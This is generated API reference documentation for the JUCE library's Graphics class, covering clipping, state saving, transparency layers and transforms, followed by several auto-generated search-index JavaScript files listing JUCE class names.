<dl class="section see"><dt>See Also</dt><dd>getClipRegion, <a class="el" href="classGraphics.html#a0a91a1c322713e070d8fd42796854340" title="Checks whether a rectangle overlaps the context&#39;s clipping region.">clipRegionIntersects</a> </dd></dl> </div> </div> <a class="anchor" id="a0a91a1c322713e070d8fd42796854340"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool Graphics::clipRegionIntersects </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>area</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Checks whether a rectangle overlaps the context's clipping region. </p> <p>If this returns false, no part of the given area can be drawn onto, so this method can be used to optimise a component's paint() method, by letting it avoid drawing complex objects that aren't within the region being repainted. </p> </div> </div> <a class="anchor" id="ad97e058fcff2bc0e634eacc4ef1d7a5f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool Graphics::reduceClipRegion </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>x</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>y</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>width</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>height</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Intersects the current clipping region with another region. </p> <dl class="section return"><dt>Returns</dt><dd>true if the resulting clipping region is non-zero in size </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#aa9bb2542780177c4d8ace477241a83b6" title="Moves the position of the context&#39;s origin.">setOrigin</a>, <a class="el" href="classGraphics.html#a0a91a1c322713e070d8fd42796854340" title="Checks whether a rectangle overlaps the context&#39;s clipping region.">clipRegionIntersects</a> </dd></dl> </div> </div> <a class="anchor" id="a97cba43cb492f57590b5f211e590e38f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool Graphics::reduceClipRegion </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>area</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Intersects the current clipping region with another region. </p> <dl class="section return"><dt>Returns</dt><dd>true if the resulting clipping region is non-zero in size </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#aa9bb2542780177c4d8ace477241a83b6" title="Moves the position of the context&#39;s origin.">setOrigin</a>, <a class="el" href="classGraphics.html#a0a91a1c322713e070d8fd42796854340" title="Checks whether a rectangle overlaps the context&#39;s clipping region.">clipRegionIntersects</a> </dd></dl> </div> </div> <a class="anchor" id="a2d2bde76da1377ab9a22df09f7aadbe7"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool Graphics::reduceClipRegion </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangleList.html">RectangleList</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>clipRegion</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Intersects the current clipping region with a rectangle list region. </p> <dl class="section return"><dt>Returns</dt><dd>true if the resulting clipping region is non-zero in size </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#aa9bb2542780177c4d8ace477241a83b6" title="Moves the position of the context&#39;s origin.">setOrigin</a>, <a class="el" href="classGraphics.html#a0a91a1c322713e070d8fd42796854340" title="Checks whether a rectangle overlaps the context&#39;s clipping region.">clipRegionIntersects</a> </dd></dl> </div> </div> <a class="anchor" id="a01d830805b335f8cdf52fadd00bd0d30"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool Graphics::reduceClipRegion </td> <td>(</td> <td class="paramtype">const <a class="el" href="classPath.html">Path</a> &amp;&#160;</td> <td class="paramname"><em>path</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;&#160;</td> <td class="paramname"><em>transform</em> = <code><a class="el" href="classAffineTransform.html#a2173017e6300f667a23467505ca36276">AffineTransform::identity</a></code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Intersects the current clipping region with a path. </p> <dl class="section return"><dt>Returns</dt><dd>true if the resulting clipping region is non-zero in size </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#ad97e058fcff2bc0e634eacc4ef1d7a5f" title="Intersects the current clipping region with another region.">reduceClipRegion</a> </dd></dl> </div> </div> <a class="anchor" id="a735b5096ea063020134fdf1c570dec9a"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool Graphics::reduceClipRegion </td> <td>(</td> <td class="paramtype">const <a class="el" href="classImage.html">Image</a> &amp;&#160;</td> <td class="paramname"><em>image</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;&#160;</td> <td class="paramname"><em>transform</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Intersects the current clipping region with an image's alpha-channel. </p> <p>The current clipping path is intersected with the area covered by this image's alpha-channel, after the image has been transformed by the specified matrix.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">image</td><td>the image whose alpha-channel should be used. If the image doesn't have an alpha-channel, it is treated as entirely opaque. </td></tr> <tr><td class="paramname">transform</td><td>a matrix to apply to the image </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>true if the resulting clipping region is non-zero in size </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#ad97e058fcff2bc0e634eacc4ef1d7a5f" title="Intersects the current clipping region with another region.">reduceClipRegion</a> </dd></dl> </div> </div> <a class="anchor" id="a9ff97378305763a38f4a99bc638a8824"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::excludeClipRegion </td> <td>(</td> <td class="paramtype">const <a class="el" href="classRectangle.html">Rectangle</a>&lt; int &gt; &amp;&#160;</td> <td class="paramname"><em>rectangleToExclude</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Excludes a rectangle to stop it being drawn into. </p> </div> </div> <a class="anchor" id="a6ae806601e19bc1631085d6e2a7f5d74"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool Graphics::isClipEmpty </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns true if no drawing can be done because the clip region is zero. </p> </div> </div> <a class="anchor" id="ab4df35938684890f7adac0439e900ca8"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::saveState </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Saves the current graphics state on an internal stack. </p> <p>To restore the state, use <a class="el" href="classGraphics.html#ac724e99c9a7bcd8b2987a484e269a368" title="Restores a graphics state that was previously saved with saveState().">restoreState()</a>. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics_1_1ScopedSaveState.html" title="Uses RAII to save and restore the state of a graphics context.">ScopedSaveState</a> </dd></dl> </div> </div> <a class="anchor" id="ac724e99c9a7bcd8b2987a484e269a368"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::restoreState </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Restores a graphics state that was previously saved with <a class="el" href="classGraphics.html#ab4df35938684890f7adac0439e900ca8" title="Saves the current graphics state on an internal stack.">saveState()</a>. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics_1_1ScopedSaveState.html" title="Uses RAII to save and restore the state of a graphics context.">ScopedSaveState</a> </dd></dl> </div> </div> <a class="anchor" id="ab8d8ee1c6bb810074eff904fd3c21fc4"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::beginTransparencyLayer </td> <td>(</td> <td class="paramtype">float&#160;</td> <td class="paramname"><em>layerOpacity</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Begins rendering to an off-screen bitmap which will later be flattened onto the current context with the given opacity. </p> <p>The context uses an internal stack of temporary image layers to do this. When you've finished drawing to the layer, call <a class="el" href="classGraphics.html#ae6b36ef8295dd83d33287a328e88ef9c" title="Completes a drawing operation to a temporary semi-transparent buffer.">endTransparencyLayer()</a> to complete the operation and composite the finished layer. Every call to <a class="el" href="classGraphics.html#ab8d8ee1c6bb810074eff904fd3c21fc4" title="Begins rendering to an off-screen bitmap which will later be flattened onto the current context with ...">beginTransparencyLayer()</a> MUST be matched by a corresponding call to <a class="el" href="classGraphics.html#ae6b36ef8295dd83d33287a328e88ef9c" title="Completes a drawing operation to a temporary semi-transparent buffer.">endTransparencyLayer()</a>!</p> <p>This call also saves the current state, and <a class="el" href="classGraphics.html#ae6b36ef8295dd83d33287a328e88ef9c" title="Completes a drawing operation to a temporary semi-transparent buffer.">endTransparencyLayer()</a> restores it. </p> </div> </div> <a class="anchor" id="ae6b36ef8295dd83d33287a328e88ef9c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::endTransparencyLayer </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Completes a drawing operation to a temporary semi-transparent buffer. </p> <p>See <a class="el" href="classGraphics.html#ab8d8ee1c6bb810074eff904fd3c21fc4" title="Begins rendering to an off-screen bitmap which will later be flattened onto the current context with ...">beginTransparencyLayer()</a> for more details. </p> </div> </div> <a class="anchor" id="aa9bb2542780177c4d8ace477241a83b6"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setOrigin </td> <td>(</td> <td class="paramtype"><a class="el" href="classPoint.html">Point</a>&lt; int &gt;&#160;</td> <td class="paramname"><em>newOrigin</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Moves the position of the context's origin. </p> <p>This changes the position that the context considers to be (0, 0) to the specified position.</p> <p>So if you call setOrigin with (100, 100), then the position that was previously referred to as (100, 100) will subsequently be considered to be (0, 0).</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#ad97e058fcff2bc0e634eacc4ef1d7a5f" title="Intersects the current clipping region with another region.">reduceClipRegion</a>, <a class="el" href="classGraphics.html#a7d9d400fdb96d3c6bbb640fb94b54d06" title="Adds a transformation which will be performed on all the graphics operations that the context subsequ...">addTransform</a> </dd></dl> </div> </div> <a class="anchor" id="a9f6c05af33aefe49851d0d1eb9294bea"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::setOrigin </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>newOriginX</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>newOriginY</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Moves the position of the context's origin. </p> <p>This changes the position that the context considers to be (0, 0) to the specified position.</p> <p>So if you call setOrigin (100, 100), then the position that was previously referred to as (100, 100) will subsequently be considered to be (0, 0).</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#ad97e058fcff2bc0e634eacc4ef1d7a5f" title="Intersects the current clipping region with another region.">reduceClipRegion</a>, <a class="el" href="classGraphics.html#a7d9d400fdb96d3c6bbb640fb94b54d06" title="Adds a transformation which will be performed on all the graphics operations that the context subsequ...">addTransform</a> </dd></dl> </div> </div> <a class="anchor" id="a7d9d400fdb96d3c6bbb640fb94b54d06"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::addTransform </td> <td>(</td> <td class="paramtype">const <a class="el" href="classAffineTransform.html">AffineTransform</a> &amp;&#160;</td> <td class="paramname"><em>transform</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Adds a transformation which will be performed on all the graphics operations that the context subsequently performs. </p> <p>After calling this, all the coordinates that are passed into the context will be transformed by this matrix.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classGraphics.html#aa9bb2542780177c4d8ace477241a83b6" title="Moves the position of the context&#39;s origin.">setOrigin</a> </dd></dl> </div> </div> <a class="anchor" id="ab8b7cd49bf1ff738c5ff848727e3bc75"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void Graphics::resetToDefaultState </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Resets the current colour, brush, and font to default settings. </p> </div> </div> <a class="anchor" id="ae584e8878455891d9010addb384425cd"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool Graphics::isVectorDevice </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Returns true if this context is drawing to a vector-based device, such as a printer. </p> </div> </div> <a class="anchor" id="a504995c303f45cce740dda9fa67f1a64"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classLowLevelGraphicsContext.html">LowLevelGraphicsContext</a>&amp; Graphics::getInternalContext </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__GraphicsContext_8h.html">juce_GraphicsContext.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['labellistener',['LabelListener',['../juce__Label_8h.html#ab9b5d624453111189a1343155b81218e',1,'juce_Label.h']]], ['listenertype',['ListenerType',['../classListenerList.html#aa03db5b04e4fe0dda6e95bd9055c9705',1,'ListenerList']]] ]; <file_sep>var searchData= [ ['oggvorbisaudioformat',['OggVorbisAudioFormat',['../classOggVorbisAudioFormat.html',1,'']]], ['onlineunlockform',['OnlineUnlockForm',['../classOnlineUnlockForm.html',1,'']]], ['onlineunlockstatus',['OnlineUnlockStatus',['../classOnlineUnlockStatus.html',1,'']]], ['openglappcomponent',['OpenGLAppComponent',['../classOpenGLAppComponent.html',1,'']]], ['openglcontext',['OpenGLContext',['../classOpenGLContext.html',1,'']]], ['openglframebuffer',['OpenGLFrameBuffer',['../classOpenGLFrameBuffer.html',1,'']]], ['openglgraphicscontextcustomshader',['OpenGLGraphicsContextCustomShader',['../structOpenGLGraphicsContextCustomShader.html',1,'']]], ['openglhelpers',['OpenGLHelpers',['../classOpenGLHelpers.html',1,'']]], ['openglimagetype',['OpenGLImageType',['../classOpenGLImageType.html',1,'']]], ['openglpixelformat',['OpenGLPixelFormat',['../classOpenGLPixelFormat.html',1,'']]], ['openglrenderer',['OpenGLRenderer',['../classOpenGLRenderer.html',1,'']]], ['openglshaderprogram',['OpenGLShaderProgram',['../classOpenGLShaderProgram.html',1,'']]], ['opengltexture',['OpenGLTexture',['../classOpenGLTexture.html',1,'']]], ['opennessrestorer',['OpennessRestorer',['../classTreeViewItem_1_1OpennessRestorer.html',1,'TreeViewItem']]], ['optionalscopedpointer',['OptionalScopedPointer',['../classOptionalScopedPointer.html',1,'']]], ['optionalscopedpointer_3c_20audioformatreader_20_3e',['OptionalScopedPointer&lt; AudioFormatReader &gt;',['../classOptionalScopedPointer.html',1,'']]], ['optionalscopedpointer_3c_20audiosource_20_3e',['OptionalScopedPointer&lt; AudioSource &gt;',['../classOptionalScopedPointer.html',1,'']]], ['optionalscopedpointer_3c_20component_20_3e',['OptionalScopedPointer&lt; Component &gt;',['../classOptionalScopedPointer.html',1,'']]], ['optionalscopedpointer_3c_20inputfilter_20_3e',['OptionalScopedPointer&lt; InputFilter &gt;',['../classOptionalScopedPointer.html',1,'']]], ['optionalscopedpointer_3c_20inputstream_20_3e',['OptionalScopedPointer&lt; InputStream &gt;',['../classOptionalScopedPointer.html',1,'']]], ['optionalscopedpointer_3c_20outputstream_20_3e',['OptionalScopedPointer&lt; OutputStream &gt;',['../classOptionalScopedPointer.html',1,'']]], ['optionalscopedpointer_3c_20positionableaudiosource_20_3e',['OptionalScopedPointer&lt; PositionableAudioSource &gt;',['../classOptionalScopedPointer.html',1,'']]], ['optionalscopedpointer_3c_20propertyset_20_3e',['OptionalScopedPointer&lt; PropertySet &gt;',['../classOptionalScopedPointer.html',1,'']]], ['options',['Options',['../classPopupMenu_1_1Options.html',1,'PopupMenu']]], ['options',['Options',['../structPropertiesFile_1_1Options.html',1,'PropertiesFile']]], ['oscaddress',['OSCAddress',['../classjuce_1_1OSCAddress.html',1,'juce']]], ['oscaddress',['OSCAddress',['../classOSCAddress.html',1,'']]], ['oscaddresspattern',['OSCAddressPattern',['../classOSCAddressPattern.html',1,'']]], ['oscaddresspattern',['OSCAddressPattern',['../classjuce_1_1OSCAddressPattern.html',1,'juce']]], ['oscargument',['OSCArgument',['../classjuce_1_1OSCArgument.html',1,'juce']]], ['oscargument',['OSCArgument',['../classOSCArgument.html',1,'']]], ['oscbundle',['OSCBundle',['../classjuce_1_1OSCBundle.html',1,'juce']]], ['oscbundle',['OSCBundle',['../classOSCBundle.html',1,'']]], ['oscexception',['OSCException',['../structjuce_1_1OSCException.html',1,'juce']]], ['oscexception',['OSCException',['../structOSCException.html',1,'']]], ['oscformaterror',['OSCFormatError',['../structjuce_1_1OSCFormatError.html',1,'juce']]], ['oscformaterror',['OSCFormatError',['../structOSCFormatError.html',1,'']]], ['oscinternalerror',['OSCInternalError',['../structjuce_1_1OSCInternalError.html',1,'juce']]], ['oscinternalerror',['OSCInternalError',['../structOSCInternalError.html',1,'']]], ['oscmessage',['OSCMessage',['../classjuce_1_1OSCMessage.html',1,'juce']]], ['oscmessage',['OSCMessage',['../classOSCMessage.html',1,'']]], ['oscreceiver',['OSCReceiver',['../classjuce_1_1OSCReceiver.html',1,'juce']]], ['oscreceiver',['OSCReceiver',['../classOSCReceiver.html',1,'']]], ['oscsender',['OSCSender',['../classOSCSender.html',1,'']]], ['oscsender',['OSCSender',['../classjuce_1_1OSCSender.html',1,'juce']]], ['osctimetag',['OSCTimeTag',['../classjuce_1_1OSCTimeTag.html',1,'juce']]], ['osctimetag',['OSCTimeTag',['../classOSCTimeTag.html',1,'']]], ['osctypes',['OSCTypes',['../classjuce_1_1OSCTypes.html',1,'juce']]], ['osctypes',['OSCTypes',['../classOSCTypes.html',1,'']]], ['outputstream',['OutputStream',['../classOutputStream.html',1,'']]], ['ownedarray',['OwnedArray',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20actionset_20_3e',['OwnedArray&lt; ActionSet &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20animationtask_20_3e',['OwnedArray&lt; AnimationTask &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20applicationcommandinfo_20_3e',['OwnedArray&lt; ApplicationCommandInfo &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20attribute_20_3e',['OwnedArray&lt; Attribute &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20audiodevicesetup_20_3e',['OwnedArray&lt; AudioDeviceSetup &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20audioformat_20_3e',['OwnedArray&lt; AudioFormat &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20audioiodevicetype_20_3e',['OwnedArray&lt; AudioIODeviceType &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20audiopluginformat_20_3e',['OwnedArray&lt; AudioPluginFormat &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20audioprocessorparameter_20_3e',['OwnedArray&lt; AudioProcessorParameter &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20bufferedblock_20_3e',['OwnedArray&lt; BufferedBlock &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20channelinfo_20_3e',['OwnedArray&lt; ChannelInfo &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20codedocument_3a_3aiterator_20_3e',['OwnedArray&lt; CodeDocument::Iterator &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20codedocumentline_20_3e',['OwnedArray&lt; CodeDocumentLine &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20codeeditorline_20_3e',['OwnedArray&lt; CodeEditorLine &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20columninfo_20_3e',['OwnedArray&lt; ColumnInfo &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20combobox_20_3e',['OwnedArray&lt; ComboBox &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20commandmapping_20_3e',['OwnedArray&lt; CommandMapping &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20component_20_3e',['OwnedArray&lt; Component &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20connection_20_3e',['OwnedArray&lt; Connection &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20drawablebutton_20_3e',['OwnedArray&lt; DrawableButton &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20elementbase_20_3e',['OwnedArray&lt; ElementBase &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20fileinfo_20_3e',['OwnedArray&lt; FileInfo &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20glyphinfo_20_3e',['OwnedArray&lt; GlyphInfo &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20iirfilter_20_3e',['OwnedArray&lt; IIRFilter &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20item_20_3e',['OwnedArray&lt; Item &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20iteminfo_20_3e',['OwnedArray&lt; ItemInfo &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20itemlayoutproperties_20_3e',['OwnedArray&lt; ItemLayoutProperties &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20keypresstime_20_3e',['OwnedArray&lt; KeyPressTime &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20line_20_3e',['OwnedArray&lt; Line &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20marker_20_3e',['OwnedArray&lt; Marker &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20midibuffer_20_3e',['OwnedArray&lt; MidiBuffer &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20midieventholder_20_3e',['OwnedArray&lt; MidiEventHolder &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20midiinput_20_3e',['OwnedArray&lt; MidiInput &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20midimessagesequence_20_3e',['OwnedArray&lt; MidiMessageSequence &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20modalitem_20_3e',['OwnedArray&lt; ModalItem &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20mpesynthesiservoice_20_3e',['OwnedArray&lt; MPESynthesiserVoice &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20panelholder_20_3e',['OwnedArray&lt; PanelHolder &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20plugindescription_20_3e',['OwnedArray&lt; PluginDescription &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20plugintree_20_3e',['OwnedArray&lt; PluginTree &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20progressbar_20_3e',['OwnedArray&lt; ProgressBar &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20run_20_3e',['OwnedArray&lt; Run &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20savedstate_20_3e',['OwnedArray&lt; SavedState &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20swatchcomponent_20_3e',['OwnedArray&lt; SwatchComponent &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20synthesiservoice_20_3e',['OwnedArray&lt; SynthesiserVoice &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20tabinfo_20_3e',['OwnedArray&lt; TabInfo &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20testresult_2c_20criticalsection_20_3e',['OwnedArray&lt; TestResult, CriticalSection &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20textbutton_20_3e',['OwnedArray&lt; TextButton &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20texteditor_20_3e',['OwnedArray&lt; TextEditor &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20threadpoolthread_20_3e',['OwnedArray&lt; ThreadPoolThread &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20thumbdata_20_3e',['OwnedArray&lt; ThumbData &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20thumbnailcacheentry_20_3e',['OwnedArray&lt; ThumbnailCacheEntry &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20timer_20_3e',['OwnedArray&lt; Timer &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20toolbaritemcomponent_20_3e',['OwnedArray&lt; ToolbarItemComponent &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20treeviewitem_20_3e',['OwnedArray&lt; TreeViewItem &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20typehandler_20_3e',['OwnedArray&lt; TypeHandler &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20uniformtextsection_20_3e',['OwnedArray&lt; UniformTextSection &gt;',['../classOwnedArray.html',1,'']]], ['ownedarray_3c_20zipentryholder_20_3e',['OwnedArray&lt; ZipEntryHolder &gt;',['../classOwnedArray.html',1,'']]] ]; <file_sep>var searchData= [ ['saveresult',['SaveResult',['../classFileBasedDocument.html#a89d417326aed46fb561c599265e426d2',1,'FileBasedDocument']]], ['sliderstyle',['SliderStyle',['../classSlider.html#af1caee82552143dd9ff0fc9f0cdc0888',1,'Slider']]], ['smptetimecodetype',['SmpteTimecodeType',['../classMidiMessage.html#a0e86db4d1186af858ad9f80d6abe96ab',1,'MidiMessage']]], ['sortmethod',['SortMethod',['../classKnownPluginList.html#a6beabfccc86796527f663f30f3514098',1,'KnownPluginList']]], ['specialitemids',['SpecialItemIds',['../classToolbarItemFactory.html#a415ffaa38b6306574ad6777ccf6d2ac4',1,'ToolbarItemFactory']]], ['speciallocationtype',['SpecialLocationType',['../classFile.html#a3e19cafabb03c5838160263a6e76313d',1,'File']]], ['standardcursortype',['StandardCursorType',['../classMouseCursor.html#a5de22a8c3eb06827ac11352e76eb9a97',1,'MouseCursor']]], ['storageformat',['StorageFormat',['../classPropertiesFile.html#ac4d1ac9a6b624f7e0de7787de46dc05e',1,'PropertiesFile']]], ['streamflags',['StreamFlags',['../classChildProcess.html#a9e7be158550b4d2a470e4cceef501892',1,'ChildProcess']]], ['styleflags',['StyleFlags',['../classComponentPeer.html#a94a21f91c61f8211774d6f43243a6ddc',1,'ComponentPeer']]] ]; <file_sep>var searchData= [ ['zipentry',['ZipEntry',['../structZipFile_1_1ZipEntry.html',1,'ZipFile']]], ['zipfile',['ZipFile',['../classZipFile.html',1,'']]], ['zone',['Zone',['../classResizableBorderComponent_1_1Zone.html',1,'ResizableBorderComponent']]] ]; <file_sep>var searchData= [ ['macro_5fwith_5fforced_5fsemicolon',['MACRO_WITH_FORCED_SEMICOLON',['../juce__PlatformDefs_8h.html#a62531e75ce4a0d69e517c12eb21a1a64',1,'juce_PlatformDefs.h']]] ]; <file_sep>var searchData= [ ['datagramsocket',['DatagramSocket',['../classDatagramSocket.html',1,'']]], ['decibels',['Decibels',['../classDecibels.html',1,'']]], ['defaultelementcomparator',['DefaultElementComparator',['../classDefaultElementComparator.html',1,'']]], ['defaulthashfunctions',['DefaultHashFunctions',['../structDefaultHashFunctions.html',1,'']]], ['deletedatshutdown',['DeletedAtShutdown',['../classDeletedAtShutdown.html',1,'']]], ['desktop',['Desktop',['../classDesktop.html',1,'']]], ['dialogwindow',['DialogWindow',['../classDialogWindow.html',1,'']]], ['directorycontentsdisplaycomponent',['DirectoryContentsDisplayComponent',['../classDirectoryContentsDisplayComponent.html',1,'']]], ['directorycontentslist',['DirectoryContentsList',['../classDirectoryContentsList.html',1,'']]], ['directoryiterator',['DirectoryIterator',['../classDirectoryIterator.html',1,'']]], ['directshowcomponent',['DirectShowComponent',['../classDirectShowComponent.html',1,'']]], 